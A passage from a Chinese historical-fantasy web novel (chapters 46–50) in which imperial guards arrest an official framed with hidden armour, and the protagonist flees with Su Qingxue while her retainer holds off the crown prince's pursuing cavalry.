而此刻,谁也不知道,一支由三千禁军组成的雷霆之师,正卷起漫天烟尘,以八百里加急的速度,向着这座歌舞升平的云安城,疾驰而来。
第46章 进城拿人。
日上三竿。
云安城外,官道之上,大地正在剧烈地颤抖。
三千道黑色的洪流,卷起漫天尘土,如同一柄出鞘的利剑,撕裂了静谧的夜幕。
为首的骑士高举着一面玄色大旗,旗帜在夜风中猎猎作响,一个用金线绣成的“禁”字,在火把的映照下,闪烁着令人心悸的寒光。
皇城禁军!
这支代表着大乾皇朝最高武力的雷霆之师,浑身散发着从尸山血海中磨砺出的铁血煞气,马蹄过处,万籁俱寂。
守城的兵卒远远望见那面旗帜,吓得魂飞魄散,连滚带爬地打开城门,甚至不敢上前盘问一句。
轰隆隆!
三千铁骑长驱直入,沉重的马蹄声踏在青石板路上,发出死亡的鼓点,整座云安城仿佛都在这股肃杀之气下瑟瑟发抖。
他们的目标明确,没有丝毫停留,径直朝着城中兵马司副指挥使王德发的府邸,奔腾而去。
一场早已注定的风暴,终于降临。
……
与此同时,柳府之内,依旧是歌舞升平。
丝竹管弦之声不绝于耳,舞女们的身姿曼妙,长袖翩跹。
宾客们推杯换盏,谈笑风生,一派祥和喜庆的景象。
然而,这满堂的繁华与热闹,却与角落一席的王德发格格不入。
他端着酒杯,酒水已经冰凉,可他却浑然不觉。
他的目光死死地锁定在不远处的那一桌,看着叶玄与苏轻雪、柳月雪低声谈笑,看着周围的富商士绅们前仆后继地前去敬酒,却连近身三尺都做不到。
每一次旁人的奉承,都像是一记响亮的耳光,狠狠抽在他的脸上。
他刚刚那番卑微到尘埃里的道歉,换来的却是苏轻雪那一句轻描淡写、却又拒人于千里之外的“不便插手”。
那不是拒绝,那是无视。
一种从骨子里透出来的,对他这种人物的彻底蔑视。
王德发的心,如坠冰窟。
他知道自己完了,那封京城来的信,那四个“去向不明”的字,如今看来,就是催命的符咒!
怎么办?
到底该怎么办?
难道真的要等死吗?
他的大脑一片混乱,手中的酒杯被他捏得咯吱作响,指节因为过度用力而变得惨白。
就在他心乱如麻,如坐针毡之际。
“砰!”
宴会厅的侧门被人猛地撞开,一道身影连滚带爬地冲了进来,沿途撞翻了好几张桌案,发出刺耳的声响。
满堂的喧哗声戛然而止。
所有人都循声望去,只见一个王府家丁打扮的汉子,浑身是土,发髻散乱,脸上写满了极致的恐惧。
“老……老爷!!”
那家丁看到了王德发,像是抓住了最后一根救命稻草,嘶声力竭地喊道。
王德发心里“咯噔”一下,一股不祥的预感瞬间笼罩全身,他猛地站起身,厉声喝道:“慌什么!成何体统!”
“老爷!不好了!出大事了!”
家丁扑到王德发脚下,带着哭腔,声音颤抖地吼道:“军……军队!好大一批军队!直接冲进了城,把……把咱们府给围了!”
军队?
王德发脑子嗡的一声,一片空白。
“胡说八道!城中兵马尽归我调遣,哪来的军队!?”
“不是咱们的兵!”家丁吓得语无伦次,“是……是京城来的!旗子上……旗子上绣着一个金色的‘禁’字!他们说……说是奉旨拿人!!”
轰!
“禁”字!
奉旨拿人!
这八个字,如同九天之上落下的惊雷,在王德发的脑海中轰然炸响!
他脸上的血色瞬间褪得一干二净,变得惨白如纸。
皇城禁军!
是冲着我来的!
为什么?
他想不通,也来不及想通,那深入骨髓的恐惧,已经彻底吞噬了他所有的理智。
完了!
一切都完了!
那个年轻人……那两个年轻人……他们不是在开玩笑!
“噗通”一声,王德发双腿一软,整个人瘫倒在地,手中的酒杯摔在地上,四分五裂,酒水溅了一地。
满堂宾客,瞬间陷入死一般的寂静。
所有人都被这突如其来的变故惊得目瞪口呆,随即,一股寒意从脚底直冲天灵盖。
皇城禁军亲临云安,奉旨拿人,拿的还是兵马司副指挥使!
这是天塌下来的大事!
谁还敢在这里多待片刻?
“柳……柳家主,在下家中尚有急事,先行告退!”
“柳兄,改日再叙,告辞!”
“告辞,告辞!”
短暂的寂静后,整个宴会厅瞬间炸开了锅。
原本还言笑晏晏的宾客们,此刻人人自危,纷纷起身,连客套话都说得语无伦次,争先恐后地朝着府外涌去,生怕被卷入这场滔天的是非之中。
方才还热闹非凡的柳府,转眼间便人去楼空,只留下一片狼藉。
在这片混乱之中,叶玄缓缓放下了茶杯。
他与身旁的苏轻雪对视了一眼。
彼此的眼中,都看到了如释重负的平静,以及一丝不易察觉的锋芒。
时机,到了。
苏长青的动作,比他们预想的还要快,还要雷霆万钧。
“我们也该走了。”叶玄轻声说道。
苏轻雪微微颔首,清冷的眸子里没有半点波澜。
这一切,本就在她的计算之中。
“叶公子,轻雪侄女。”
柳承业快步走了过来,他已经屏退了慌乱的下人,此刻脸上虽然带着震惊,但更多的是一种沉稳。
他看着叶玄,眼神复杂地说道:“外面……恐怕已经不安全了。”
他虽然不知道前因后果,但用脚指头想也知道,这事绝对和叶玄脱不了干系。
能引动皇城禁军,这位叶公子的背景,简直深不可测!
“柳家主放心,”叶玄淡然一笑,“这场风暴,刮不到柳家头上。这些时日,多谢款待,我与轻雪,就此告辞。”
他的话语,客气,却也带着不容置疑的疏离。
柳承业是个聪明人,他知道什么该问,什么不该问。
他重重地叹了口气,对着叶玄深深一揖:“叶公子大恩,柳某没齿难忘!此去路远,万望珍重!”
说完,他便亲自引着二人,从后院一处隐蔽的侧门离开。
而瘫在地上的王德发,在无尽的恐惧中终于找回了一丝神智,他猛地从地上爬起来,像一头发了疯的野兽,不顾一切地朝着府外冲去。
他要回家!
他要去看看到底发生了什么!
他心中还存着一丝万一的侥幸,或许……或许是搞错了?
然而,当他冲出柳府大门,看到远处自家府邸上空弥漫的肃杀之气时,他最后的一丝希望,也彻底化为了泡影。
混乱的宴会厅中,珠帘之后,一道纤弱的身影悄然伫立。
柳月雪看着叶玄与苏轻雪离去的背影,看着父亲亲自将他们送走。
她冰雪聪明,如何猜不到,这场席卷云安城的风暴,正是因他们而起。
他们要走了。
不是离开柳府,而是离开云安城。
不知为何,她的心中涌起一股莫名的失落与怅然,仿佛有什么重要的东西,正随着那两个背影的远去,而悄然流逝。
她没有跟上去。
她知道,她与他们,终究不是一个世界的人。
她能做的,只有站在这里,静静地目送。
“叶公子,苏姐姐……一路,多保重。”
柳月雪在心中轻声呢喃,清澈的眼眸中,映着窗外那动荡不安的夜色。
而此刻,叶玄与苏轻雪的身影,早已消失在夜幕的掩护之下。
他们的身后,是即将被鲜血与烈火吞噬的王府,是一座风雨飘摇的云安城。
而他们的前方,是千里之外的雁门关,是另一片更加广阔,也更加凶险的战场。
第47章 甲胄为证,黄雀在后
王府门前,火光冲天,将半个云安城的天空都映成了诡异的橘红色。
三千禁军如铁铸的雕塑,将整座府邸围得水泄不通,冰冷的铁甲反射着火光,肃杀之气凝如实质,压得人喘不过气来。
“不!你们不能进去!这是兵马司副指挥使的府邸!你们凭什么!”
王德发像一头被逼到绝路的困兽,披头散发,一身常服在奔跑中早已凌乱不堪,他张开双臂,徒劳地挡在府门前,冲着为首那名面容冷峻的将军嘶吼。
那将军端坐于高头大马之上,眼神如鹰隼般锐利,他甚至没有低头看王德发一眼,只是从鼻腔里发出一声轻蔑的冷哼。
“王德发,我等奉陛下圣谕,前来拿你,你若再敢阻拦,便是抗旨不遵,罪加一等!”
“圣谕?!”
王德发如遭雷击,双腿一软,险些再次瘫倒。
他不懂,他真的不懂!
究竟是为什么?
就算苏轻雪背景通天,可也不至于能直接请来圣旨,调动皇城禁军啊!
这根本不合常理!
“将军!定是搞错了!一定是有人诬陷!我王德发对大乾忠心耿耿,天日可表啊!”他涕泗横流,苦苦哀求。
领头将军终于舍得将目光落在他身上,那眼神里没有半分同情,只有彻骨的冰冷。
“有没有诬陷,搜了便知。”
他挥了挥手。
“搜!”
一声令下,如狼似虎的禁军甲士便越过王德发,轰然冲入王府之中。
霎时间,府内响起一片器物破碎之声,夹杂着女眷和下人们惊恐的尖叫。
王德发的心,在滴血。
他完了。
无论搜不搜得出东西,他都完了。
皇城禁军入府,这本身就是一种无法挽回的败局。
他被禁军押着,踉踉跄跄地跟在后面,看着自己经营半生的家业被人肆意践踏,眼中的光芒一点点黯淡下去。
“将军!地窖有异!”
忽然,一名校尉从后院快步奔来,神情严肃。
王德发的心猛地一揪!
地窖?
那里面除了些陈年老酒和杂物,还能有什么?
领头将军眼神一凛,大步流星地朝着地窖方向走去。
阴暗潮湿的地窖被火把照得通明,一股霉味和酒气混合的味道扑面而来。
几名士兵正围着一个角落,那里堆放着一些破旧的草席和空酒坛。
“搬开!”将军下令。
士兵们立刻动手,将杂物一一挪开。
很快,一个被木板和泥土刻意遮掩过的痕迹暴露了出来。
王德发看到那痕迹,瞳孔骤然收缩!
他记得很清楚,这个角落他前几日才看过,绝没有这般模样!
有人来过!
一个可怕的念头,如同毒蛇般钻入他的脑海,让他浑身冰冷。
“挖开!”
随着将军一声令下,士兵们用手中的长戟三两下就撬开了松动的泥土和木板,露出了下面藏着的五个大木箱。
“咔嚓!”
一名士兵用刀鞘猛地一撬,其中一个箱子的锁扣应声而断,箱盖被掀开。
嗡!
火光照耀下,一抹森然的寒光瞬间刺痛了所有人的眼睛。
只见箱子内,一套崭新的玄铁甲胄正静静地躺在那里,甲片上细密的纹路和冰冷的金属光泽,无声地诉说着它的不凡。
紧接着,其余四个箱子也被相继打开。
五副甲胄!
整整五副制式精良、足以装备一支亲卫小队的铁甲!
“轰!”
王德发脑子里像是炸开了一万个响雷,眼前一黑,天旋地转。
“不……这不是我的!”
他像是被踩了尾巴的猫,猛地尖叫起来。
“这不是我的东西!是有人陷害我!有人把这些东西放在我家的地窖里!”
他歇斯底里地咆哮着,声音凄厉。
所有禁军都用一种看死人的眼神看着他。
领头将军缓缓走到他的面前,居高临下地看着他,嘴角勾起一抹残忍的弧度。
“哦?”
他慢条斯理地问道:“这么说,你承认这是你家的地窖了?”
一句话,如同一柄无形的重锤,狠狠砸在了王德发的天灵盖上。
他所有的咆哮、所有的辩解、所有的声音,瞬间被堵在了喉咙里,一个字也说不出来。
是啊。
他承认了,这是他家的地窖。
私藏一副甲胄,已是死罪。
如今,在他的地窖里,挖出了整整五副!
人赃并获!铁证如山!
他百口莫辩!
“我……”王德发张了张嘴,却只发出了“嗬嗬”的漏风声,他想起了那个为他儿子“治伤”的年轻人,想起了他那温和无害的笑容。
原来,那不是笑容。
那是催命的毒药!
“噗通!”
王德发双膝一软,彻底瘫倒在地,眼中最后的神采,化为一片死寂的灰白。
“王德发私造甲胄,意图谋反,证据确凿!”领头将军的声音如同审判,“来人!将王氏满门,尽数拿下,押解上京,听候圣上发落!”
“遵命!”
冰冷的锁链套上了王德发和他家人的脖颈,昔日威风八面的兵马司副指挥使,此刻宛如一条死狗,被拖出了府邸。
……
与此同时。
云安城外,一处不起眼的小山坡上。
三百名身着黑衣劲装的骑士,正勒马而立,为首一人,面容阴鸷,眼神如狼,正是太子亲信,李威。
他们奉太子之命,星夜兼程赶来云安城,目的只有一个——秘密拿下苏轻雪。
可他们终究是晚了一步。
看着城中那面高高飘扬的“禁”字大旗,看着王德发一家老小如同牲口般被押解出来,李威的脸色难看到了极点。
“头儿,是皇城禁军,看样子是圣上亲自下的旨。”一名手下低声道,“咱们……还动手吗?”
李威的拳头捏得咯吱作响。
动手?
在禁军面前抢人?那是找死!
太子殿下虽然权势滔天,但也不敢公然违抗圣谕。
这次任务,怕是要泡汤了。
回去之后,少不了一顿责罚。
李威心中烦躁,正准备下令打道回府,眼角的余光却忽然瞥见,从云安城的另一侧城门,有几辆马车不快不慢地驶了出来。
在这全城戒严,禁军拿人的风口浪尖上,竟然还有人敢出城?
李威的眼睛瞬间眯了起来。
王家被连根拔起,此刻出城的,十有八九是王家的残党余孽,或是收到了风声,想要逃跑的同党!
一个念头,在他脑中疯狂滋生。
抓不到苏轻雪这个正主,但若是能将这些“漏网之鱼”抓回去,献给太子殿下,也算是一份功劳!
至少,能让太子殿下在圣上面前说道说道,显示一下自己的雷霆手段,为君分忧!
功过相抵,自己说不定还能得到一笔赏赐!
想到这里,李威心中的阴霾一扫而空,取而代之的是一片火热。
“兄弟们!”
他猛地一挥手,声音狠厉。
“看到那几辆马车了吗?给我追!一个不留,全都拿下!”
“是!”
三百黑衣骑兵,如同一群嗅到血腥味的饿狼,悄无声息地催动战马,朝着那几辆马车离开的方向,猛扑而去!
……
第48章 你是带她去送死
官道之上,马车在平稳地行进。
叶玄与苏轻雪分坐两辆马车,中间隔着一辆装着些许行礼的空车。
忠叔亲自驾驭着苏轻雪所在的头车,神情看似放松,但握着缰绳的手,却始终沉稳有力。
车厢内,苏轻雪靠着软垫,闭目养神,清丽的脸庞上看不出悲喜。
云安城的一切,都已尘埃落定。
突然。
“咕咕——”
一只灰色的信鸽从天而降,精准地落在了忠叔的肩膀上。
忠叔眼神一凝,迅速从信鸽脚下取下一个小小的蜡丸,捻开一看,里面是一张极小的纸条。
他只扫了一眼,脸色便微微一变。
他不动声色地将纸条化为粉末,而后,声音沉稳地对着车厢内说道:
“小姐,坐稳了。”
苏轻雪缓缓睁开眼,清冷的眸子里闪过一丝询问。
忠叔没有过多解释,只是猛地一抖缰绳,口中发出一声短促有力的低喝。
“驾!”
啪!
马鞭在空中炸响!
原本还在平稳行进的马车,如同被注入了新的生命,猛地向前一窜,四蹄翻飞,速度骤然提升!
跟在后面的叶玄,几乎在第一时间就察觉到了不对劲。
这个忠叔实力比起自己只强不弱,绝不会无缘无故地突然加速。
出事了!
叶玄的瞳孔微微一缩,没有丝毫犹豫,他一把撩开车帘,对着自己的车夫冷声喝道:
“跟上!全速前进!”
车夫不敢怠慢,立刻扬鞭催马。
三辆马车,一前两后,开始在官道上狂奔起来。
而他们的身后,远方的地平线上,一片黑色的浪潮正卷起漫天烟尘,以惊人的速度,汹涌而来!
冰冷的杀机,已然锁定!
叶玄掉头看去,视线的尽头,地平线上,一道黑线正在以肉眼可见的速度变粗、变大,卷起遮天蔽日的烟尘,如同一场席卷而来的黑色海啸!
那不是官兵。
那是骑兵!
是带着毫不掩饰的凛冽杀机,专为追杀而来的精锐骑兵!
一个念头,如同电光石火般在叶玄脑中炸开。
难道是……自己买甲胄陷害王德发的事情暴露了?
不!
不可能!
这个念头只存在了零点一秒,就被他彻底掐灭。
圣旨已下,禁军已动,这说明父皇那边已经对此事深信不疑,绝无转圜的余地。
王家的案子,已是铁案!
况且,就算事情败露,反应也绝不可能如此迅速。
那么,这些骑兵的目标……
叶玄的目光瞬间投向了前方那辆正在狂奔的马车。
是冲着苏轻雪来的!
想通此节,叶玄心中再无半点波澜,只剩下冰冷的算计。
他看着身后越来越近,已经能隐约看到人影轮廓的追兵,眼神一寒。
不能再等了!
“跟紧他们!全速!”
叶玄对着自己的车夫,下达了最后一个冰冷的命令。
下一刻,他整个人如同一只离弦的箭,从飞驰的马车中猛地窜出!
狂风将他的衣袍吹得猎猎作响。
他在半空中探出手,一把抓住那名还没反应过来的车夫的后领,如同老鹰抓小鸡一般,轻而易举地将其提了起来。
紧接着,他腰身在空中诡异一扭,脚尖在车辕上轻轻一点,整个人再次拔高,化作一道残影,精准无比地朝着苏轻雪的马车飞掠而去!
“砰!”
一声闷响。
叶玄带着车夫,稳稳地落在了苏轻雪马车的车辕上,整个马车只是剧烈地晃动了一下,便在忠叔沉稳的驾驭下恢复了平衡。
而被他抛下的那辆马车,因为失去了控制,拉车的马匹受惊之下,嘶鸣着偏离了官道,朝着一旁的荒地冲了过去。
果不其然,身后那片黑色的浪潮中,立刻分出了一股约莫四五十骑的支流,朝着失控的马车追了过去。
一个简单的动作,便成功引走了部分追兵。
车厢的帘子被一只素白的手轻轻掀开,露出苏轻雪那张清冷绝俗,却不见丝毫慌乱的脸庞。
她的眸子清亮如水,静静地看着叶玄,声音一如既往地平稳:“怎么回事?”
“追兵。”叶玄将那名吓得面无人色的车夫随手丢在车板上,言简意赅。
不等苏轻雪再问,前方专心驾车的忠叔,声音沉稳如山,从风中传来。
“不是云安城的禁军,旗号不对,是一伙不明来路的骑兵,杀气很重。”
一句话,让车厢内的气氛瞬间凝固。
叶玄的瞳孔微微一缩。
不是禁军,却敢在禁军封城办案的时候,在天子脚下不远处的云安城外公然追杀朝廷首辅的千金?
放眼整个大乾,有这个胆子,又有这个实力的……
一个名字,呼之欲出。
太子!叶天!
难道自己的行踪暴露了?
叶玄心中杀机一闪而逝。
他自以为隐藏得天衣无缝,却没想到,还是被太子嗅到了蛛丝马迹。
“是我。”
苏轻雪清冷的声音响起,打断了叶玄的思绪。
她放下了车帘,车厢内光线一暗,她的声音里带着一丝自嘲与冰冷:“看来,我还是没能躲过去。”
她看着叶玄,缓缓道:“我离开京城,并非全是为养病,更是为了躲一个人。”
“太子,叶天。”
“他欲纳我为侧妃,父亲不允,我亦不愿。我若留在京城,只会成为他胁迫父亲的把柄,所以才借养病之名,远走云安。”
苏轻雪说得很平静,仿佛在说一件与自己毫不相干的事。
但叶玄却听出了那平静之下,压抑着的无尽波澜与屈辱。
原来如此!
一切的根源,竟然在这里!
他与苏轻雪,看似偶然相遇,实则从一开始,就因为同一个人,而被命运无形地捆绑在了一起。
他们的敌人,自始至终,都只有一个。
太子,叶天!
“现在说这些已经没用了。”叶玄的声音恢复了绝对的冷静,“原因不重要,重要的是怎么活下去。”
他看向前方忠叔宽厚的背影,问道:“忠叔,有办法摆脱他们吗?”
忠叔一边死死控制着马车的方向,一边沉声回答:“有!”
“小姐放心,老爷早有准备!在前方的落凤坡,有一片密林,我们的人就在林中接应!”
“只要能冲进树林,借助地形,就有机会甩掉这些骑兵!”
忠叔的话,像是一剂强心针。
但叶玄却敏锐地捕捉到了关键。
他眯起眼睛,追问道:“我们的人?带了多少?”
忠叔握着缰绳的手,猛地一紧,似乎有些犹豫。
“忠叔!”苏轻雪的声音陡然加重,带着一股不容置疑的压迫力,“说实话!”
忠叔沉默了片刻,终于还是从牙缝里挤出了一个数字。
“不到一百个……都是府里的精锐护卫。”
话音刚落。
叶玄笑了。
那笑容里,没有半分暖意,只有彻骨的冰寒和毫不掩饰的讥讽。
“不到一百个步战护卫,去对抗三百多名训练有素的追杀骑兵?”
他的声音不大,却如同一柄重锤,狠狠砸在忠叔和苏轻雪的心上。
“忠叔。”
“你这不是在带你们家小姐求生。”
“你是在带她去送死!”
第49章 小姐,就拜托你了
叶玄冰冷刺骨的声音,如同一盆冰水,兜头浇下。
风声呜咽,马蹄声急促如鼓点,车厢内却陷入了死一般的寂静。
忠叔宽厚的背影猛地一僵。
他没有回头,也没有反驳。
因为他知道,叶玄说的是事实。
沉默。
是令人窒息的沉默。
良久,忠叔的声音才再次从狂风中传来,这一次,却带着一种卸下所有伪装的疲惫与决绝。
“叶公子,你说得对。”
他的声音不再像之前那般沉稳如山,而是多了一丝沙哑的坦然。
“不到一百步卒,对上三百精锐骑兵,确实是去送死。”
“但,这也是唯一的办法了。”
忠叔猛地一拉缰绳,险之又险地避开路上一块凸起的岩石,马车剧烈颠簸,他的声音却稳如磐石。
“骑兵的速度,我们跑不过。”
“官道一马平川,无处可躲,被追上只是时间问题。”
“落凤坡那片密林,是我们唯一的机会。”
“只要进了林子,骑兵的优势就会被无限削弱,小姐才有机会真正逃出去。”
话说到这里,他顿了顿,仿佛用尽了全身的力气。
“所以,老奴想请叶公子一件事。”
忠叔的语气,带上了一丝郑重的托付。
“老奴会带着那一百护卫,为小姐和公子争取时间。”
“接下来的路,就要拜托公子,照顾好我家小姐了。”
这番话,不是商量,而是遗言。
车厢内,苏轻雪一直紧紧攥着的手,指节已然发白。
她猛地掀开车帘,清冷的风灌了进来,吹乱了她的发丝,也吹红了她的眼眶。
“忠叔!”
她的声音不再平稳,带着一丝不易察??的颤抖和挣扎。
“我不同意!”
“要走一起走,要死一起死!我苏轻雪,绝不独活!”
忠叔终于回过头。
那张平日里总是带着温和笑意的脸上,此刻沟壑纵横,写满了风霜与不舍,但他的眼神,却亮得惊人。
那是一种燃烧生命的光。
他笑了。
“小姐,你说错了。”
“老爷将你托付给我,我的命,就是护你周全。”
“只要小姐还活着,老奴就永远不算死。”
他深深地看了一眼苏轻雪,又看了一眼她身旁神情冷峻的叶玄,笑容里多了一丝欣慰。
“何况,老奴还想看着小姐嫁人,看着小小姐和小公子出生呢。”
“老奴,当然会活着回来。”
这句承诺,轻飘飘的,却又重如泰山。
苏轻雪的眼泪,终于再也忍不住,夺眶而出。
她还想说什么,却被叶玄一把按住了肩膀。
叶玄的目光越过她,直视着忠叔那双燃烧着决心的眼睛。
他什么都没说。
只是重重地,点了点头。
一个点头,承载了所有的承诺与责任。
他会做到。
“驾——!”
忠叔最后看了一眼他守护了一生的小姐,而后猛地回头,发出了一声响彻云霄的怒喝!
他将全身的力气都灌注到了手中的缰绳和马鞭之上!
马车如同一支离弦的箭,化作一道残影,在三百黑甲骑兵合围之前,一头扎进了前方那片幽暗深邃的密林之中!
“轰隆!”
马车冲入林中的瞬间,忠叔整个人已经从车辕上弹起。
他在半空中手起刀落,一道寒光闪过,套在马匹身上的复杂车辕束缚应声而断!
“接着!”
忠叔爆喝一声,将手中的缰绳奋力抛向叶玄。
叶玄探手稳稳接住。
电光火石之间,他长臂一伸,揽住苏轻雪柔软的腰肢,一股巧劲发出,直接将她带离了车厢。
下一刻,两人已经稳稳地落在了解脱束缚的头马背上。
“保重!”
叶玄留下两个字,双腿猛地一夹马腹。
那匹通人性的骏马发出一声长嘶,载着两人,头也不回地朝着密林深处狂奔而去!
忠叔站在原地,并未立刻离开。
他看着那一骑绝尘而去的背影,直到它彻底消失在层层叠叠的树影之后。
苏轻雪伏在叶玄的背上,终是忍不住回头望去。
风声掠过耳畔,她只看到忠叔的背影,在林间的微光下,渺小,却又像一座无法撼动的山。
他从怀中取出一个信号筒,猛地拉开。
“咻——砰!”
一道刺耳的尖啸声冲天而起,在林中炸开一朵绚烂的血色烟花。
下一刻,四周的林木之中,人影晃动。
一道道沉默的身影,手持朴刀,腰挎短弩,从藏身之处现身,迅速在忠叔身后集结。
他们没有发出一丝多余的声音,只有兵刃出鞘的森然冷光。
不到一百人。
却汇聚成了一股死战不退的钢铁洪流。
他们每个人的脸上,都带着和忠叔一样的决绝。
他们是苏府的护卫,是家臣,更是死士。
忠叔缓缓转身,面向林外的方向。
那里,马蹄声已经震耳欲聋,黑色的浪潮卷着冲天的杀气,即将吞噬这片林地。
他丢掉了马鞭,从一名护卫手中接过一柄厚重的斩马刀。
刀锋在昏暗的光线下,反射出他那双再无半分温和,只剩下无尽凶戾的眼睛。
“苏家儿郎!”
忠叔的声音,如洪钟大吕,在林间回荡。
“为小姐尽忠之时,已到!”
“杀——!”
一声爆喝。
他手持斩马刀,第一个冲了出去,迎向那三百黑甲骑兵!
“杀!!”
身后,近百名护卫发出惊天动地的怒吼,义无反顾地跟随着他们的统领,向着数倍于己的强敌,发起了决死冲锋!
……
密林深处。
叶玄一言不发,只是不断催动着身下的马匹。
苏轻雪伏在他的背上,早已泪流满面,身体却被颠簸得几乎麻木。
她不敢回头,也不敢去想。
她怕一想,心就会碎掉。
不知跑了多久,身后的喊杀声已经彻底听不见了。
周围的光线越来越暗,气温也随之骤降,一股北地的寒意开始侵袭而来。
身下的骏马速度越来越慢,口中喷吐着滚滚白气,四蹄已经开始打颤。
它快到极限了。
叶玄终于勒住了缰绳,翻身下马。
“我们得休息一下,马受不了了。”
他的声音冷静得有些不近人情,却在此刻给了苏轻雪一丝依靠。
苏轻雪默默地点了点头,任由叶玄将她扶下马。
双脚落地的瞬间,一股巨大的虚脱感袭来,她险些站立不稳。
叶玄顺势扶住了她。
两人这才看清周围的环境。
这是一座早已荒废的山神庙。
庙宇不大,半边屋顶已经坍塌,露出黑漆漆的夜空,神像蒙尘,蛛网遍布,充满了破败萧索的气息。
叶玄将马匹牵到一棵大树下绑好,又从马背的行囊里取出一块油布,简单地盖在马身上为它抵御寒风。
做完这一切,他没有立刻进庙,而是身形一闪,消失在周围的黑暗中。
他在探查周围的情况,确认是否安全。
苏轻雪独自一人,缓缓走进破庙。
她没有去生火,也没有去整理任何东西。
她只是走到破庙那处坍塌的墙壁缺口旁,坐了下来。
她蜷缩着身体,双手抱着膝盖,目光怔怔地望着他们来时的方向。
那里,是无尽的黑暗。
仿佛能吞噬一切。
忠叔最后回头时的笑容,他怒吼着冲向敌阵的背影,那一声声“杀”的呐喊……
一幕一幕,如同最锋利的刀,在她的心上反复切割。
眼泪,早已流干。
只剩下深入骨髓的冰冷和空洞。
不知过了多久,叶玄的身影重新出现在庙门口。
他身上带着一股夜的寒气。
“周围安全,没有追兵的痕迹。”
他走到苏轻雪身边,声音放缓了一些。
“他们暂时被甩掉了。”
苏轻雪没有任何反应,依旧痴痴地望着远方,仿佛没有听到他的话。
她的世界里,只剩下那片血色的黄昏,和那个为她断后的老人。
叶玄看着她失魂落魄的样子,眉头微不可察地皱了一下。
他没有再多说什么安慰的话。
因为他知道,此刻任何语言都是苍白的。
他只是默默地走到破庙中央,开始清理出一片空地,用碎石简单垒砌了一个火塘,然后从外面抱来一些干枯的树枝。
很快,一簇橘红色的火焰升腾而起。
噼啪作响的火光,驱散了庙宇中的些许阴冷,也映照出苏轻雪那张苍白得没有一丝血色的脸。
她依然一动不动,像一尊没有灵魂的绝美雕像。
久久,不能回神。
第50章 前往镇北城
夜,深了。
山神庙里,唯一的暖源,是那一簇跳动的篝火。
火光将两人的影子拉得很长,在斑驳的墙壁上无声摇曳,如同两座孤寂的雕塑。
叶玄已经检查完周围,确认了暂时的安全。
他坐在火堆旁,用一根树枝拨弄着火焰,火星迸溅,发出轻微的“噼啪”声。
而苏轻雪,自坐下后,便再也没有动过。
她蜷缩在冰冷的石墙边,双臂环抱着膝盖,将脸深深埋入其中,仿佛要将自己与这个冰冷的世界彻底隔绝。
没有哭声。
甚至没有一丝颤抖。
但那种死寂,比任何撕心裂肺的哭喊,都更令人心悸。
空气沉默得像凝固的铁。
许久,许久。
一道梦呓般的声音,终于从那团小小的身影中飘了出来,轻得几乎要被风吹散。
“我五岁那年,第一次见忠叔。”
“那时候,我贪玩爬树,从树上摔了下来,摔断了腿,府里的下人都吓坏了,没人敢靠近。”
“是他,一个刚从边军退下来的汉子,满脸的刀疤,看起来凶神恶煞,却用一双满是厚茧的手,比府里任何一个嬷嬷都轻柔地把我抱了起来。”
“他说,小姐不怕,有忠叔在。”
叶玄拨弄火焰的动作停顿了一下,没有作声,只是静静地听着。
篝火的光,映着苏轻雪微微抬起的侧脸,那张绝美的容颜上,泪痕早已干涸,只剩下空洞和茫然。
“我七岁学琴,琴弦断了,划破了手,血流不止,我疼得直哭。”
“他不懂音律,却跑遍了京城最好的乐器行,给我买来了最坚韧的天蚕丝琴弦,还找来最好的金疮药。”
“他说,小姐的手,是用来弹奏世间最美妙的乐曲的,不能留疤。”
“我及笄那年,父亲在朝堂受人攻讦,郁郁寡欢,府里人心惶惶。”
“是他,像一尊门神,日夜守在我的院外,寸步不离。”
“他说,小姐安心,只要老奴还有一口气在,就没人能伤你一根头发。”
她的声音很平,没有起伏,像是在讲述一个与自己无关的故事。
可每一个字,都像一把刀,深深扎进过往的岁月里,带出鲜血淋漓的记忆。
“他说……他要看着我嫁人,看着小小姐和小公子出生。”
“他说……他会活着回来。”
说到最后一句,苏轻雪的声音终于带上了一丝无法抑制的剧烈颤抖。
她猛地抬起头,那双失神的眼眸,终于再次蓄满了泪水,死死地望着庙外那片能吞噬一切的黑暗。
“他骗我……”
“他这个骗子!”
叶玄的目光,始终落在跳动的火焰上。
他无法感同身受。
无论是前世那个在冰冷数据和复杂人性中打滚的精算师,还是这一世在深宫中步步为营、看尽凉薄的八皇子,亲情与守护,对他而言都是奢侈而遥远的名词。
他的世界,只有利弊,只有得失,只有生存与毁灭。
忠叔的舍身,在他眼中,是一场计算好的牺牲,是一次成功换取时间的交易。
但他看着身旁那个因痛苦而颤抖的灵魂,心中那片亘古不变的冰原,似乎也悄然裂开了一道微不可察的缝隙。
他站起身,走到苏轻雪面前。
没有说那些“节哀顺变”的废话,那太虚伪。
他只是将一个水囊递到她面前,声音一如既往的平静,却带着一种不容置疑的力量。
“喝点水。”
苏轻雪没有接,依旧沉浸在自己的世界里。
叶玄没有收回手,就那么举着。
“忠叔和他那近百名护卫,用他们的命,为你我换来了时间。”
他的声音很冷,像北地的寒风,刮在人的心上。
“你现在这样,是在浪费他们的命。”
“你想让他们白死吗?”
这句话,比任何安慰都来得残忍,也比任何安慰都来得有效。
苏轻雪的身体猛地一震。
她缓缓抬起头,布满血丝的眼睛,死死地盯住了叶玄。
那眼神里,有痛苦,有愤怒,还有一丝被点醒的茫然。
叶玄直视着她的眼睛,继续说道:“太子的人不会放弃,他们很快会循着踪迹追来。”
“我们现在要做的,不是在这里缅怀过去,而是拼尽全力活下去,跑得更远。”
“活下去,才是对他们最好的交代。”
“让他们在天之灵知道,他们的牺牲,没有白费。这,才是对他们最大的尊重。”
“而不是在这里,等着被追兵抓到,让他们死不瞑目。”
字字诛心。
苏轻雪紧紧咬着下唇,指甲深深掐进了掌心,鲜血渗出也浑然不觉。
良久。
她猛地一把夺过叶玄手中的水囊,狠狠地灌了几大口。
冰冷的清水顺着喉咙滑下,浇熄了心中的一些火焰,也带来了刺骨的清醒。
她用袖子粗暴地擦去脸上的泪痕,那双红肿的眼睛里,悲伤依旧浓得化不开,但那层空洞和绝望,却被一抹重新燃起的坚韧所取代。
她,是首辅苏长青的女儿。
她,是名满京城的苏轻雪。
她不能倒下。
绝不能!
“你说的对。”
苏轻雪站起身,动作甚至有些踉跄,但她的腰杆,却挺得笔直。
她在怀中摸索片刻,拿出了一卷用油纸包裹得十分严密的物事。
展开来,竟是一副极为详尽的大乾舆图,上面用朱砂和墨笔,标注着各地的关隘、驻军、乃至一些不为人知的小路。
不愧是首辅千金,这份地图的价值,千金难换。
“这是大乾的地形图。”
